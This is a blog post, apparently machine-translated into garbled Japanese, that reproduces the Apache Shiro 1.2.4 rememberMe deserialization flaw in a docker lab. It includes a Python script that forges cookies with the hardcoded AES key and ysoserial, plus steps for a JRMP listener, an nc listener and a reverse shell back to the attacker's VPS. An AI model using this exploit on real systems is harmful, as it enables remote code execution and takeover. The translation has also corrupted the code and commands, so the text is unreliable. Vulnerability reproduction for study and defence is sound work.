バージョンに影響を及ぼし
Apacheの史郎<= 1.2.4
原因
四郎のデフォルトCookieRememberMeManager
のクッキーの取り扱いプロセスは次のとおりです。GET rememberMe的cookie值
- > Base64解码
- > AES解密
- > 反序列化
。
しかし、AESキーはハードコード化され、デシリアライズさRCEの脆弱性を結果の悪意のあるデータを構築することができ、攻撃者につながっています。
ペイロード構造
前16字节的密钥
- >バック加入序列化参数
- > AES加密
- > base64编码
- >トランスミッションcookie
。
- shiro.py
輸入SYS 輸入UUID 輸入base64で インポートサブプロセス から Crypto.Cipher 輸入AES デフencode_rememberme(コマンド): popenの = subprocess.Popen([ ' のJava '、' -jar '、' ysoserial.jar '、' JRMPClient '、コマンド]、STDOUT = subprocess.PIPE) BS = AES.block_size パッド = ラムダ S:S +((BS - LEN(S)%のBS)* CHR(BS - LEN(S)%の。BS))エンコード() キー = base64.b64decode(" KPH + bIxk5D2deZiIxcaaaA == " ) IV = uuid.uuid4()バイト 暗号化 = AES.new(キー、AES.MODE_CBC、IV) file_body = パッド(popen.stdout.read()) base64_ciphertext = base64.b64encode(IV + encryptor.encrypt(file_body)) 戻りbase64_ciphertext もし __name__ == ' __main__ ' : ペイロード = encode_rememberme(sys.argvの[1 ]) 、印刷 " リメンバー・ミー= {0} " .format(payload.decode())
使用ギャングスクリプトペイロードを生成する(ysoserial.jar
ファイルやディレクトリが同じディレクトリで実行するため)
パイソンshiro.py vpsip:1099
ビルドへの環境
ここではまだドッキングウィンドウの脆弱性再現を使用
- ミラープル
ドッキングウィンドウプルメディチ家/ vulapps:s_shiro_1
- スタートアップ環境
8080メディチ家:ドッキングウィンドウの実行は8081 -p -d s_shiro_1:/ vulappsを
8081
上で動作しているホスト環境の代わりに、8081
ポート
- コンテナ環境に
コンテナにドッキングウィンドウのexec -it ID / binに/ bashの
- AccessのWeb環境(8081 / login.jspをHTTP :: // IPチェックがとき着陸と着陸私を覚えています)
-
脆弱性の再現
- VPSリバウンドシェルコマンド実行モニター
nは-lVP 7878
- ポートを使用して監視VPS JRMP
Javaの-cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bashの文リバウンドシェル"
(リバウンドシェルは、javaのbase64エンコードが必要です)
-
げっぷによって生成されたペイロードを送信
-
これで、シェルの上にリバウンドが受信された見ることができます
参考リンク:
https://blog.csdn.net/three_feng/article/details/52189559
http://www.db-sec.com/2019/06/apache-shiro%E5%8F%8D%E5%BA% 8F%E5%88%97% E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C% E6%でのBC%8F%E6% B4%9E%E5%A4%8D%E7%8E%B0 /
著者:鶏手羽の子
リンクます。https://www.jianshu.com/p/0007eafd1f92の
出典:ジェーンの本は
、著者が著作権を保有しています。著者は認可商業転載してください接触、非商用の転載は、ソースを明記してください。